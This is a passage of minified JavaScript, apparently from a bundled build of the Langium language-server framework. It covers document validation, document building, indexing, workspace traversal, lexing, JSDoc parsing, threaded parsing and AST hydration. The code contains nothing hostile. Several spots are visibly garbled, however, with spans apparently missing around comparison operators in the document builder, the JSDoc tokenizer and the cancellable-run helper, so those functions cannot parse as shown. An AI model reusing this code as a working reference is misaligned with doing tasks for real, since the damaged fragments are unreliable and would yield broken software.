new Error("Invalid diagnostic severity: "+t)}}var Vb,rl,dB=N(()=>{"use strict";el();zl();hs();Bl();tl();Gb();Vb=class{static{o(this,"DefaultDocumentValidator")}constructor(e){this.validationRegistry=e.validation.ValidationRegistry,this.metadata=e.LanguageMetaData}async validateDocument(e,r={},n=br.CancellationToken.None){let i=e.parseResult,a=[];if(await bi(n),(!r.categories||r.categories.includes("built-in"))&&(this.processLexingErrors(i,a,r),r.stopAfterLexingErrors&&a.some(s=>{var l;return((l=s.data)===null||l===void 0?void 0:l.code)===rl.LexingError})||(this.processParsingErrors(i,a,r),r.stopAfterParsingErrors&&a.some(s=>{var l;return((l=s.data)===null||l===void 0?void 0:l.code)===rl.ParsingError}))||(this.processLinkingErrors(e,a,r),r.stopAfterLinkingErrors&&a.some(s=>{var l;return((l=s.data)===null||l===void 0?void 0:l.code)===rl.LinkingError}))))return a;try{a.push(...await this.validateAst(i.value,r,n))}catch(s){if(Kc(s))throw s;console.error("An error occurred during validation:",s)}return await bi(n),a}processLexingErrors(e,r,n){var i,a,s;let l=[...e.lexerErrors,...(a=(i=e.lexerReport)===null||i===void 0?void 0:i.diagnostics)!==null&&a!==void 0?a:[]];for(let u of l){let h=(s=u.severity)!==null&&s!==void 0?s:"error",f={severity:JS(h),range:{start:{line:u.line-1,character:u.column-1},end:{line:u.line-1,character:u.column+u.length-1}},message:u.message,data:gme(h),source:this.getSource()};r.push(f)}}processParsingErrors(e,r,n){for(let i of e.parserErrors){let a;if(isNaN(i.token.startOffset)){if("previousToken"in i){let s=i.previousToken;if(isNaN(s.startOffset)){let l={line:0,character:0};a={start:l,end:l}}else{let l={line:s.endLine-1,character:s.endColumn};a={start:l,end:l}}}}else a=xg(i.token);if(a){let s={severity:JS("error"),range:a,message:i.message,data:Jp(rl.ParsingError),source:this.getSource()};r.push(s)}}}processLinkingErrors(e,r,n){for(let i of e.references){let a=i.error;if(a){let s={node:a.container,property:a.property,index:a.index,data:{code:rl.LinkingError,containerType:a.container.$type,property:a.property,refText:a.reference.$refText}};r.push(this.toDiagnostic("error",a.message,s))}}}async validateAst(e,r,n=br.CancellationToken.None){let i=[],a=o((s,l,u)=>{i.push(this.toDiagnostic(s,l,u))},"acceptor");return await this.validateAstBefore(e,r,a,n),await this.validateAstNodes(e,r,a,n),await this.validateAstAfter(e,r,a,n),i}async validateAstBefore(e,r,n,i=br.CancellationToken.None){var a;let s=this.validationRegistry.checksBefore;for(let l of s)await bi(i),await l(e,n,(a=r.categories)!==null&&a!==void 0?a:[],i)}async validateAstNodes(e,r,n,i=br.CancellationToken.None){await Promise.all(Jo(e).map(async a=>{await bi(i);let s=this.validationRegistry.getChecks(a.$type,r.categories);for(let l of s)await l(a,n,i)}))}async validateAstAfter(e,r,n,i=br.CancellationToken.None){var a;let s=this.validationRegistry.checksAfter;for(let l of s)await bi(i),await l(e,n,(a=r.categories)!==null&&a!==void 0?a:[],i)}toDiagnostic(e,r,n){return{message:r,range:mme(n),severity:JS(e),code:n.code,codeDescription:n.codeDescription,tags:n.tags,relatedInformation:n.relatedInformation,data:n.data,source:this.getSource()}}getSource(){return this.metadata.languageId}};o(mme,"getDiagnosticRange");o(JS,"toDiagnosticSeverity");o(gme,"toDiagnosticData");(function(t){t.LexingError="lexing-error",t.LexingWarning="lexing-warning",t.LexingInfo="lexing-info",t.LexingHint="lexing-hint",t.ParsingError="parsing-error",t.LinkingError="linking-error"})(rl||(rl={}))});var Ub,Hb,pB=N(()=>{"use strict";el();Pl();hs();Bl();tl();Qc();Ub=class{static{o(this,"DefaultAstNodeDescriptionProvider")}constructor(e){this.astNodeLocator=e.workspace.AstNodeLocator,this.nameProvider=e.references.NameProvider}createDescription(e,r,n){let i=n??Va(e);r??(r=this.nameProvider.getName(e));let a=this.astNodeLocator.getAstNodePath(e);if(!r)throw new Error(`Node at path ${a} has no name.`);let s,l=o(()=>{var u;return s??(s=Lp((u=this.nameProvider.getNameNode(e))!==null&&u!==void 0?u:e.$cstNode))},"nameSegmentGetter");return{node:e,name:r,get nameSegment(){return l()},selectionSegment:Lp(e.$cstNode),type:e.$type,documentUri:i.uri,path:a}}},Hb=class{static{o(this,"DefaultReferenceDescriptionProvider")}constructor(e){this.nodeLocator=e.workspace.AstNodeLocator}async createDescriptions(e,r=br.CancellationToken.None){let n=[],i=e.parseResult.value;for(let a of Jo(i))await bi(r),a1(a).filter(s=>!_p(s)).forEach(s=>{let l=this.createDescription(s);l&&n.push(l)});return n}createDescription(e){let r=e.reference.$nodeDescription,n=e.reference.$refNode;if(!r||!n)return;let i=Va(e.container).uri;return{sourceUri:i,sourcePath:this.nodeLocator.getAstNodePath(e.container),targetUri:r.documentUri,targetPath:r.path,segment:Lp(n),local:vs.equals(r.documentUri,i)}}}});var qb,mB=N(()=>{"use strict";qb=class{static{o(this,"DefaultAstNodeLocator")}constructor(){this.segmentSeparator="/",this.indexSeparator="@"}getAstNodePath(e){if(e.$container){let r=this.getAstNodePath(e.$container),n=this.getPathSegment(e);return r+this.segmentSeparator+n}return""}getPathSegment({$containerProperty:e,$containerIndex:r}){if(!e)throw new Error("Missing '$containerProperty' in AST node.");return r!==void 0?e+this.indexSeparator+r:e}getAstNode(e,r){return r.split(this.segmentSeparator).reduce((i,a)=>{if(!i||a.length===0)return i;let s=a.indexOf(this.indexSeparator);if(s>0){let l=a.substring(0,s),u=parseInt(a.substring(s+1)),h=i[l];return h?.[u]}return i[a]},e)}}});var ei={};var e6=N(()=>{"use strict";Lr(ei,ja(ZP(),1))});var Wb,gB=N(()=>{"use strict";e6();tl();Wb=class{static{o(this,"DefaultConfigurationProvider")}constructor(e){this._ready=new gs,this.settings={},this.workspaceConfig=!1,this.onConfigurationSectionUpdateEmitter=new ei.Emitter,this.serviceRegistry=e.ServiceRegistry}get ready(){return this._ready.promise}initialize(e){var r,n;this.workspaceConfig=(n=(r=e.capabilities.workspace)===null||r===void 0?void 0:r.configuration)!==null&&n!==void 0?n:!1}async initialized(e){if(this.workspaceConfig){if(e.register){let r=this.serviceRegistry.all;e.register({section:r.map(n=>this.toSectionName(n.LanguageMetaData.languageId))})}if(e.fetchConfiguration){let r=this.serviceRegistry.all.map(i=>({section:this.toSectionName(i.LanguageMetaData.languageId)})),n=await e.fetchConfiguration(r);r.forEach((i,a)=>{this.updateSectionConfiguration(i.section,n[a])})}}this._ready.resolve()}updateConfiguration(e){e.settings&&Object.keys(e.settings).forEach(r=>{let n=e.settings[r];this.updateSectionConfiguration(r,n),this.onConfigurationSectionUpdateEmitter.fire({section:r,configuration:n})})}updateSectionConfiguration(e,r){this.settings[e]=r}async getConfiguration(e,r){await this.ready;let n=this.toSectionName(e);if(this.settings[n])return this.settings[n][r]}toSectionName(e){return`${e}`}get onConfigurationSectionUpdate(){return this.onConfigurationSectionUpdateEmitter.event}}});var Gf,yB=N(()=>{"use strict";(function(t){function e(r){return{dispose:o(async()=>await r(),"dispose")}}o(e,"create"),t.create=e})(Gf||(Gf={}))});var Yb,vB=N(()=>{"use strict";el();yB();H1();tl();Ys();Gb();U1();Yb=class{static{o(this,"DefaultDocumentBuilder")}constructor(e){this.updateBuildOptions={validation:{categories:["built-in","fast"]}},this.updateListeners=[],this.buildPhaseListeners=new Vl,this.documentPhaseListeners=new Vl,this.buildState=new Map,this.documentBuildWaiters=new Map,this.currentState=Ln.Changed,this.langiumDocuments=e.workspace.LangiumDocuments,this.langiumDocumentFactory=e.workspace.LangiumDocumentFactory,this.textDocuments=e.workspace.TextDocuments,this.indexManager=e.workspace.IndexManager,this.serviceRegistry=e.ServiceRegistry}async build(e,r={},n=br.CancellationToken.None){var i,a;for(let s of e){let l=s.uri.toString();if(s.state===Ln.Validated){if(typeof r.validation=="boolean"&&r.validation)s.state=Ln.IndexedReferences,s.diagnostics=void 0,this.buildState.delete(l);else if(typeof r.validation=="object"){let u=this.buildState.get(l),h=(i=u?.result)===null||i===void 0?void 0:i.validationChecks;if(h){let d=((a=r.validation.categories)!==null&&a!==void 0?a:X1.all).filter(p=>!h.includes(p));d.length>0&&(this.buildState.set(l,{completed:!1,options:{validation:Object.assign(Object.assign({},r.validation),{categories:d})},result:u.result}),s.state=Ln.IndexedReferences)}}}else this.buildState.delete(l)}this.currentState=Ln.Changed,await this.emitUpdate(e.map(s=>s.uri),[]),await this.buildDocuments(e,r,n)}async update(e,r,n=br.CancellationToken.None){this.currentState=Ln.Changed;for(let s of r)this.langiumDocuments.deleteDocument(s),this.buildState.delete(s.toString()),this.indexManager.remove(s);for(let s of e){if(!this.langiumDocuments.invalidateDocument(s)){let u=this.langiumDocumentFactory.fromModel({$type:"INVALID"},s);u.state=Ln.Changed,this.langiumDocuments.addDocument(u)}this.buildState.delete(s.toString())}let i=an(e).concat(r).map(s=>s.toString()).toSet();this.langiumDocuments.all.filter(s=>!i.has(s.uri.toString())&&this.shouldRelink(s,i)).forEach(s=>{this.serviceRegistry.getServices(s.uri).references.Linker.unlink(s),s.state=Math.min(s.state,Ln.ComputedScopes),s.diagnostics=void 0}),await this.emitUpdate(e,r),await bi(n);let a=this.sortDocuments(this.langiumDocuments.all.filter(s=>{var l;return s.staten(e,r)))}sortDocuments(e){let r=0,n=e.length-1;for(;r=0&&!this.hasTextDocument(e[n]);)n--;rn.error!==void 0)?!0:this.indexManager.isAffected(e,r)}onUpdate(e){return this.updateListeners.push(e),Gf.create(()=>{let r=this.updateListeners.indexOf(e);r>=0&&this.updateListeners.splice(r,1)})}async buildDocuments(e,r,n){this.prepareBuild(e,r),await this.runCancelable(e,Ln.Parsed,n,a=>this.langiumDocumentFactory.update(a,n)),await this.runCancelable(e,Ln.IndexedContent,n,a=>this.indexManager.updateContent(a,n)),await this.runCancelable(e,Ln.ComputedScopes,n,async a=>{let s=this.serviceRegistry.getServices(a.uri).references.ScopeComputation;a.precomputedScopes=await s.computeLocalScopes(a,n)}),await this.runCancelable(e,Ln.Linked,n,a=>this.serviceRegistry.getServices(a.uri).references.Linker.link(a,n)),await this.runCancelable(e,Ln.IndexedReferences,n,a=>this.indexManager.updateReferences(a,n));let i=e.filter(a=>this.shouldValidate(a));await this.runCancelable(i,Ln.Validated,n,a=>this.validate(a,n));for(let a of e){let s=this.buildState.get(a.uri.toString());s&&(s.completed=!0)}}prepareBuild(e,r){for(let n of e){let i=n.uri.toString(),a=this.buildState.get(i);(!a||a.completed)&&this.buildState.set(i,{completed:!1,options:r,result:a?.result})}}async runCancelable(e,r,n,i){let a=e.filter(l=>l.statel.state===r);await this.notifyBuildPhase(s,r,n),this.currentState=r}onBuildPhase(e,r){return this.buildPhaseListeners.add(e,r),Gf.create(()=>{this.buildPhaseListeners.delete(e,r)})}onDocumentPhase(e,r){return this.documentPhaseListeners.add(e,r),Gf.create(()=>{this.documentPhaseListeners.delete(e,r)})}waitUntil(e,r,n){let i;if(r&&"path"in r?i=r:n=r,n??(n=br.CancellationToken.None),i){let a=this.langiumDocuments.getDocument(i);if(a&&a.state>e)return Promise.resolve(i)}return this.currentState>=e?Promise.resolve(void 0):n.isCancellationRequested?Promise.reject(jc):new Promise((a,s)=>{let l=this.onBuildPhase(e,()=>{if(l.dispose(),u.dispose(),i){let h=this.langiumDocuments.getDocument(i);a(h?.uri)}else a(void 0)}),u=n.onCancellationRequested(()=>{l.dispose(),u.dispose(),s(jc)})})}async notifyDocumentPhase(e,r,n){let a=this.documentPhaseListeners.get(r).slice();for(let s of a)try{await s(e,n)}catch(l){if(!Kc(l))throw l}}async notifyBuildPhase(e,r,n){if(e.length===0)return;let a=this.buildPhaseListeners.get(r).slice();for(let s of a)await bi(n),await s(e,n)}shouldValidate(e){return!!this.getBuildOptions(e).validation}async validate(e,r){var n,i;let a=this.serviceRegistry.getServices(e.uri).validation.DocumentValidator,s=this.getBuildOptions(e).validation,l=typeof s=="object"?s:void 0,u=await a.validateDocument(e,l,r);e.diagnostics?e.diagnostics.push(...u):e.diagnostics=u;let h=this.buildState.get(e.uri.toString());if(h){(n=h.result)!==null&&n!==void 0||(h.result={});let f=(i=l?.categories)!==null&&i!==void 0?i:X1.all;h.result.validationChecks?h.result.validationChecks.push(...f):h.result.validationChecks=[...f]}}getBuildOptions(e){var r,n;return(n=(r=this.buildState.get(e.uri.toString()))===null||r===void 0?void 0:r.options)!==null&&n!==void 0?n:{}}}});var Xb,xB=N(()=>{"use strict";hs();QS();el();Ys();Qc();Xb=class{static{o(this,"DefaultIndexManager")}constructor(e){this.symbolIndex=new Map,this.symbolByTypeIndex=new Zp,this.referenceIndex=new Map,this.documents=e.workspace.LangiumDocuments,this.serviceRegistry=e.ServiceRegistry,this.astReflection=e.AstReflection}findAllReferences(e,r){let n=Va(e).uri,i=[];return this.referenceIndex.forEach(a=>{a.forEach(s=>{vs.equals(s.targetUri,n)&&s.targetPath===r&&i.push(s)})}),an(i)}allElements(e,r){let n=an(this.symbolIndex.keys());return r&&(n=n.filter(i=>!r||r.has(i))),n.map(i=>this.getFileDescriptions(i,e)).flat()}getFileDescriptions(e,r){var n;return r?this.symbolByTypeIndex.get(e,r,()=>{var a;return((a=this.symbolIndex.get(e))!==null&&a!==void 0?a:[]).filter(l=>this.astReflection.isSubtype(l.type,r))}):(n=this.symbolIndex.get(e))!==null&&n!==void 0?n:[]}remove(e){let r=e.toString();this.symbolIndex.delete(r),this.symbolByTypeIndex.clear(r),this.referenceIndex.delete(r)}async updateContent(e,r=br.CancellationToken.None){let i=await this.serviceRegistry.getServices(e.uri).references.ScopeComputation.computeExports(e,r),a=e.uri.toString();this.symbolIndex.set(a,i),this.symbolByTypeIndex.clear(a)}async updateReferences(e,r=br.CancellationToken.None){let i=await this.serviceRegistry.getServices(e.uri).workspace.ReferenceDescriptionProvider.createDescriptions(e,r);this.referenceIndex.set(e.uri.toString(),i)}isAffected(e,r){let n=this.referenceIndex.get(e.uri.toString());return n?n.some(i=>!i.local&&r.has(i.targetUri.toString())):!1}}});var jb,bB=N(()=>{"use strict";el();tl();Qc();jb=class{static{o(this,"DefaultWorkspaceManager")}constructor(e){this.initialBuildOptions={},this._ready=new gs,this.serviceRegistry=e.ServiceRegistry,this.langiumDocuments=e.workspace.LangiumDocuments,this.documentBuilder=e.workspace.DocumentBuilder,this.fileSystemProvider=e.workspace.FileSystemProvider,this.mutex=e.workspace.WorkspaceLock}get ready(){return this._ready.promise}get workspaceFolders(){return this.folders}initialize(e){var r;this.folders=(r=e.workspaceFolders)!==null&&r!==void 0?r:void 0}initialized(e){return this.mutex.write(r=>{var n;return this.initializeWorkspace((n=this.folders)!==null&&n!==void 0?n:[],r)})}async initializeWorkspace(e,r=br.CancellationToken.None){let n=await this.performStartup(e);await bi(r),await this.documentBuilder.build(n,this.initialBuildOptions,r)}async performStartup(e){let r=this.serviceRegistry.all.flatMap(a=>a.LanguageMetaData.fileExtensions),n=[],i=o(a=>{n.push(a),this.langiumDocuments.hasDocument(a.uri)||this.langiumDocuments.addDocument(a)},"collector");return await this.loadAdditionalDocuments(e,i),await Promise.all(e.map(a=>[a,this.getRootFolder(a)]).map(async a=>this.traverseFolder(...a,r,i))),this._ready.resolve(),n}loadAdditionalDocuments(e,r){return Promise.resolve()}getRootFolder(e){return ys.parse(e.uri)}async traverseFolder(e,r,n,i){let a=await this.fileSystemProvider.readDirectory(r);await Promise.all(a.map(async s=>{if(this.includeEntry(e,s,n)){if(s.isDirectory)await this.traverseFolder(e,s.uri,n,i);else if(s.isFile){let l=await this.langiumDocuments.getOrCreateDocument(s.uri);i(l)}}}))}includeEntry(e,r,n){let i=vs.basename(r.uri);if(i.startsWith("."))return!1;if(r.isDirectory)return i!=="node_modules"&&i!=="out";if(r.isFile){let a=vs.extname(r.uri);return n.includes(a)}return!1}}});function r6(t){return Array.isArray(t)&&(t.length===0||"name"in t[0])}function wB(t){return t&&"modes"in t&&"defaultMode"in t}function TB(t){return!r6(t)&&!wB(t)}var Kb,t6,e0,n6=N(()=>{"use strict";Ff();Kb=class{static{o(this,"DefaultLexerErrorMessageProvider")}buildUnexpectedCharactersMessage(e,r,n,i,a){return x1.buildUnexpectedCharactersMessage(e,r,n,i,a)}buildUnableToPopLexerModeMessage(e){return x1.buildUnableToPopLexerModeMessage(e)}},t6={mode:"full"},e0=class{static{o(this,"DefaultLexer")}constructor(e){this.errorMessageProvider=e.parser.LexerErrorMessageProvider,this.tokenBuilder=e.parser.TokenBuilder;let r=this.tokenBuilder.buildTokens(e.Grammar,{caseInsensitive:e.LanguageMetaData.caseInsensitive});this.tokenTypes=this.toTokenTypeDictionary(r);let n=TB(r)?Object.values(r):r,i=e.LanguageMetaData.mode==="production";this.chevrotainLexer=new Zn(n,{positionTracking:"full",skipValidations:i,errorMessageProvider:this.errorMessageProvider})}get definition(){return this.tokenTypes}tokenize(e,r=t6){var n,i,a;let s=this.chevrotainLexer.tokenize(e);return{tokens:s.tokens,errors:s.errors,hidden:(n=s.groups.hidden)!==null&&n!==void 0?n:[],report:(a=(i=this.tokenBuilder).flushLexingReport)===null||a===void 0?void 0:a.call(i,e)}}toTokenTypeDictionary(e){if(TB(e))return e;let r=wB(e)?Object.values(e.modes).flat():e,n={};return r.forEach(i=>n[i.name]=i),n}};o(r6,"isTokenTypeArray");o(wB,"isIMultiModeLexerDefinition");o(TB,"isTokenTypeDictionary")});function SB(t,e,r){let n,i;typeof t=="string"?(i=e,n=r):(i=t.range.start,n=e),i||(i=tn.create(0,0));let a=xme(t),s=AB(n),l=ije({lines:a,position:i,options:s});return cje({index:0,tokens:l,position:i})}function CB(t,e){let r=AB(e),n=xme(t);if(n.length===0)return!1;let i=n[0],a=n[n.length-1],s=r.start,l=r.end;return!!s?.exec(i)&&!!l?.exec(a)}function xme(t){let e="";return typeof t=="string"?e=t:e=t.text,e.split(TO)}function ije(t){var e,r,n;let i=[],a=t.position.line,s=t.position.character;for(let l=0;l=f.length){if(i.length>0){let m=tn.create(a,s);i.push({type:"break",content:"",range:Gr.create(m,m)})}}else{yme.lastIndex=d;let m=yme.exec(f);if(m){let g=m[0],y=m[1],v=tn.create(a,s+d),x=tn.create(a,s+d+g.length);i.push({type:"tag",content:y,range:Gr.create(v,x)}),d+=g.length,d=EB(f,d)}if(d0&&i[i.length-1].type==="break"?i.slice(0,-1):i}function aje(t,e,r,n){let i=[];if(t.length===0){let a=tn.create(r,n),s=tn.create(r,n+e.length);i.push({type:"text",content:e,range:Gr.create(a,s)})}else{let a=0;for(let l of t){let u=l.index,h=e.substring(a,u);h.length>0&&i.push({type:"text",content:e.substring(a,u),range:Gr.create(tn.create(r,a+n),tn.create(r,u+n))});let f=h.length+1,d=l[1];if(i.push({type:"inline-tag",content:d,range:Gr.create(tn.create(r,a+f+n),tn.create(r,a+f+d.length+n))}),f+=d.length,l.length===4){f+=l[2].length;let p=l[3];i.push({type:"text",content:p,range:Gr.create(tn.create(r,a+f+n),tn.create(r,a+f+p.length+n))})}else i.push({type:"text",content:"",range:Gr.create(tn.create(r,a+f+n),tn.create(r,a+f+n))});a=u+l[0].length}let s=e.substring(a);s.length>0&&i.push({type:"text",content:s,range:Gr.create(tn.create(r,a+n),tn.create(r,a+n+s.length))})}return i}function EB(t,e){let r=t.substring(e).match(sje);return r?e+r.index:t.length}function lje(t){let e=t.match(oje);if(e&&typeof e.index=="number")return e.index}function cje(t){var e,r,n,i;let a=tn.create(t.position.line,t.position.character);if(t.tokens.length===0)return new i6([],Gr.create(a,a));let s=[];for(;t.index0){let u=EB(e,a);s=e.substring(u),e=e.substring(0,a)}return(t==="linkcode"||t==="link"&&r.link==="code")&&(s=`\`${s}\``),(i=(n=r.renderLink)===null||n===void 0?void 0:n.call(r,e,s))!==null&&i!==void 0?i:pje(e,s)}}function pje(t,e){try{return ys.parse(t,!0),`[${e}](${t})`}catch{return t}}function vme(t){return t.endsWith(` +`)?` +`:` + +`}var yme,nje,sje,oje,i6,Qb,Zb,a6,_B=N(()=>{"use strict";BP();l1();Qc();o(SB,"parseJSDoc");o(CB,"isJSDoc");o(xme,"getLines");yme=/\s*(@([\p{L}][\p{L}\p{N}]*)?)/uy,nje=/\{(@[\p{L}][\p{L}\p{N}]*)(\s*)([^\r\n}]+)?\}/gu;o(ije,"tokenize");o(aje,"buildInlineTokens");sje=/\S/,oje=/\s*$/;o(EB,"skipWhitespace");o(lje,"lastCharacter");o(cje,"parseJSDocComment");o(uje,"parseJSDocElement");o(hje,"appendEmptyLine");o(bme,"parseJSDocText");o(fje,"parseJSDocInline");o(Tme,"parseJSDocTag");o(wme,"parseJSDocLine");o(AB,"normalizeOptions");o(kB,"normalizeOption");i6=class{static{o(this,"JSDocCommentImpl")}constructor(e,r){this.elements=e,this.range=r}getTag(e){return this.getAllTags().find(r=>r.name===e)}getTags(e){return this.getAllTags().filter(r=>r.name===e)}getAllTags(){return this.elements.filter(e=>"name"in e)}toString(){let e="";for(let r of this.elements)if(e.length===0)e=r.toString();else{let n=r.toString();e+=vme(e)+n}return e.trim()}toMarkdown(e){let r="";for(let n of this.elements)if(r.length===0)r=n.toMarkdown(e);else{let i=n.toMarkdown(e);r+=vme(r)+i}return r.trim()}},Qb=class{static{o(this,"JSDocTagImpl")}constructor(e,r,n,i){this.name=e,this.content=r,this.inline=n,this.range=i}toString(){let e=`@${this.name}`,r=this.content.toString();return this.content.inlines.length===1?e=`${e} ${r}`:this.content.inlines.length>1&&(e=`${e} +${r}`),this.inline?`{${e}}`:e}toMarkdown(e){var r,n;return(n=(r=e?.renderTag)===null||r===void 0?void 0:r.call(e,this))!==null&&n!==void 0?n:this.toMarkdownDefault(e)}toMarkdownDefault(e){let r=this.content.toMarkdown(e);if(this.inline){let a=dje(this.name,r,e??{});if(typeof a=="string")return a}let n="";e?.tag==="italic"||e?.tag===void 0?n="*":e?.tag==="bold"?n="**":e?.tag==="bold-italic"&&(n="***");let i=`${n}@${this.name}${n}`;return this.content.inlines.length===1?i=`${i} \u2014 ${r}`:this.content.inlines.length>1&&(i=`${i} +${r}`),this.inline?`{${i}}`:i}};o(dje,"renderInlineTag");o(pje,"renderLinkDefault");Zb=class{static{o(this,"JSDocTextImpl")}constructor(e,r){this.inlines=e,this.range=r}toString(){let e="";for(let r=0;rn.range.start.line&&(e+=` +`)}return e}toMarkdown(e){let r="";for(let n=0;ni.range.start.line&&(r+=` +`)}return r}},a6=class{static{o(this,"JSDocLineImpl")}constructor(e,r){this.text=e,this.range=r}toString(){return this.text}toMarkdown(){return this.text}};o(vme,"fillNewlines")});var Jb,DB=N(()=>{"use strict";hs();_B();Jb=class{static{o(this,"JSDocDocumentationProvider")}constructor(e){this.indexManager=e.shared.workspace.IndexManager,this.commentProvider=e.documentation.CommentProvider}getDocumentation(e){let r=this.commentProvider.getComment(e);if(r&&CB(r))return SB(r).toMarkdown({renderLink:o((i,a)=>this.documentationLinkRenderer(e,i,a),"renderLink"),renderTag:o(i=>this.documentationTagRenderer(e,i),"renderTag")})}documentationLinkRenderer(e,r,n){var i;let a=(i=this.findNameInPrecomputedScopes(e,r))!==null&&i!==void 0?i:this.findNameInGlobalScope(e,r);if(a&&a.nameSegment){let s=a.nameSegment.range.start.line+1,l=a.nameSegment.range.start.character+1,u=a.documentUri.with({fragment:`L${s},${l}`});return`[${n}](${u.toString()})`}else return}documentationTagRenderer(e,r){}findNameInPrecomputedScopes(e,r){let i=Va(e).precomputedScopes;if(!i)return;let a=e;do{let l=i.get(a).find(u=>u.name===r);if(l)return l;a=a.$container}while(a)}findNameInGlobalScope(e,r){return this.indexManager.allElements().find(i=>i.name===r)}}});var e4,LB=N(()=>{"use strict";ZS();Bl();e4=class{static{o(this,"DefaultCommentProvider")}constructor(e){this.grammarConfig=()=>e.parser.GrammarConfig}getComment(e){var r;return hB(e)?e.$comment:(r=jI(e.$cstNode,this.grammarConfig().multilineCommentRules))===null||r===void 0?void 0:r.text}}});var t4,RB,NB,MB=N(()=>{"use strict";tl();e6();t4=class{static{o(this,"DefaultAsyncParser")}constructor(e){this.syncParser=e.parser.LangiumParser}parse(e,r){return Promise.resolve(this.syncParser.parse(e))}},RB=class{static{o(this,"AbstractThreadedAsyncParser")}constructor(e){this.threadCount=8,this.terminationDelay=200,this.workerPool=[],this.queue=[],this.hydrator=e.serializer.Hydrator}initializeWorkers(){for(;this.workerPool.length{if(this.queue.length>0){let r=this.queue.shift();r&&(e.lock(),r.resolve(e))}}),this.workerPool.push(e)}}async parse(e,r){let n=await this.acquireParserWorker(r),i=new gs,a,s=r.onCancellationRequested(()=>{a=setTimeout(()=>{this.terminateWorker(n)},this.terminationDelay)});return n.parse(e).then(l=>{let u=this.hydrator.hydrate(l);i.resolve(u)}).catch(l=>{i.reject(l)}).finally(()=>{s.dispose(),clearTimeout(a)}),i.promise}terminateWorker(e){e.terminate();let r=this.workerPool.indexOf(e);r>=0&&this.workerPool.splice(r,1)}async acquireParserWorker(e){this.initializeWorkers();for(let n of this.workerPool)if(n.ready)return n.lock(),n;let r=new gs;return e.onCancellationRequested(()=>{let n=this.queue.indexOf(r);n>=0&&this.queue.splice(n,1),r.reject(jc)}),this.queue.push(r),r.promise}},NB=class{static{o(this,"ParserWorker")}get ready(){return this._ready}get onReady(){return this.onReadyEmitter.event}constructor(e,r,n,i){this.onReadyEmitter=new ei.Emitter,this.deferred=new gs,this._ready=!0,this._parsing=!1,this.sendMessage=e,this._terminate=i,r(a=>{let s=a;this.deferred.resolve(s),this.unlock()}),n(a=>{this.deferred.reject(a),this.unlock()})}terminate(){this.deferred.reject(jc),this._terminate()}lock(){this._ready=!1}unlock(){this._parsing=!1,this._ready=!0,this.onReadyEmitter.fire()}parse(e){if(this._parsing)throw new Error("Parser worker is busy");return this._parsing=!0,this.deferred=new gs,this.sendMessage(e),this.deferred.promise}}});var r4,IB=N(()=>{"use strict";el();tl();r4=class{static{o(this,"DefaultWorkspaceLock")}constructor(){this.previousTokenSource=new br.CancellationTokenSource,this.writeQueue=[],this.readQueue=[],this.done=!0}write(e){this.cancelWrite();let r=XS();return this.previousTokenSource=r,this.enqueue(this.writeQueue,e,r.token)}read(e){return this.enqueue(this.readQueue,e)}enqueue(e,r,n=br.CancellationToken.None){let i=new gs,a={action:r,deferred:i,cancellationToken:n};return e.push(a),this.performNextOperation(),i.promise}async performNextOperation(){if(!this.done)return;let e=[];if(this.writeQueue.length>0)e.push(this.writeQueue.shift());else if(this.readQueue.length>0)e.push(...this.readQueue.splice(0,this.readQueue.length));else return;this.done=!1,await Promise.all(e.map(async({action:r,deferred:n,cancellationToken:i})=>{try{let a=await Promise.resolve().then(()=>r(i));n.resolve(a)}catch(a){Kc(a)?n.resolve(void 0):n.reject(a)}})),this.done=!0,this.performNextOperation()}cancelWrite(){this.previousTokenSource.cancel()}}});var n4,OB=N(()=>{"use strict";FS();Hc();Pl();hs();H1();Bl();n4=class{static{o(this,"DefaultHydrator")}constructor(e){this.grammarElementIdMap=new Qp,this.tokenTypeIdMap=new Qp,this.grammar=e.Grammar,this.lexer=e.parser.Lexer,this.linker=e.references.Linker}dehydrate(e){return{lexerErrors:e.lexerErrors,lexerReport:e.lexerReport?this.dehydrateLexerReport(e.lexerReport):void 0,parserErrors:e.parserErrors.map(r=>Object.assign(Object.assign({},r),{message:r.message})),value:this.dehydrateAstNode(e.value,this.createDehyrationContext(e.value))}}dehydrateLexerReport(e){return e}createDehyrationContext(e){let r=new Map,n=new Map;for(let i of Jo(e))r.set(i,{});if(e.$cstNode)for(let i of Dp(e.$cstNode))n.set(i,{});return{astNodes:r,cstNodes:n}}dehydrateAstNode(e,r){let n=r.astNodes.get(e);n.$type=e.$type,n.$containerIndex=e.$containerIndex,n.$containerProperty=e.$containerProperty,e.$cstNode!==void 0&&(n.$cstNode=this.dehydrateCstNode(e.$cstNode,r));for(let[i,a]of Object.entries(e))if(!i.startsWith("$"))if(Array.isArray(a)){let s=[];n[i]=s;for(let l of a)li(l)?s.push(this.dehydrateAstNode(l,r)):Ta(l)?s.push(this.dehydrateReference(l,r)):s.push(l)}else li(a)?n[i]=this.dehydrateAstNode(a,r):Ta(a)?n[i]=this.dehydrateReference(a,r):a!==void 0&&(n[i]=a);return n}dehydrateReference(e,r){let n={};return n.$refText=e.$refText,e.$refNode&&(n.$refNode=r.cstNodes.get(e.$refNode)),n}dehydrateCstNode(e,r){let n=r.cstNodes.get(e);return Lx(e)?n.fullText=e.fullText:n.grammarSource=this.getGrammarElementId(e.grammarSource),n.hidden=e.hidden,n.astNode=r.astNodes.get(e.astNode),Ol(e)?n.content=e.content.map(i=>this.dehydrateCstNode(i,r)):If(e)&&(n.tokenType=e.tokenType.name,n.offset=e.offset,n.length=e.length,n.startLine=e.range.start.line,n.startColumn=e.range.start.character,n.endLine=e.range.end.line,n.endColumn=e.range.end.character),n}hydrate(e){let r=e.value,n=this.createHydrationContext(r);return"$cstNode"in r&&this.hydrateCstNode(r.$cstNode,n),{lexerErrors:e.lexerErrors,lexerReport:e.lexerReport,parserErrors:e.parserErrors,value:this.hydrateAstNode(r,n)}}createHydrationContext(e){let r=new Map,n=new Map;for(let a of Jo(e))r.set(a,{});let i;if(e.$cstNode)for(let a of Dp(e.$cstNode)){let s;"fullText"in a?(s=new B1(a.fullText),i=s):"content"in a?s=new Xp:"tokenType"in a&&(s=this.hydrateCstLeafNode(a)),s&&(n.set(a,s),s.root=i)}return{astNodes:r,cstNodes:n}}hydrateAstNode(e,r){let n=r.astNodes.get(e);n.$type=e.$type,n.$containerIndex=e.$containerIndex,n.$containerProperty=e.$containerProperty,e.$cstNode&&(n.$cstNode=r.cstNodes.get(e.$cstNode));for(let[i,a]of Object.entries(e))if(!i.startsWith("$"))if(Array.isArray(a)){let s=[];n[i]=s;for(let l of 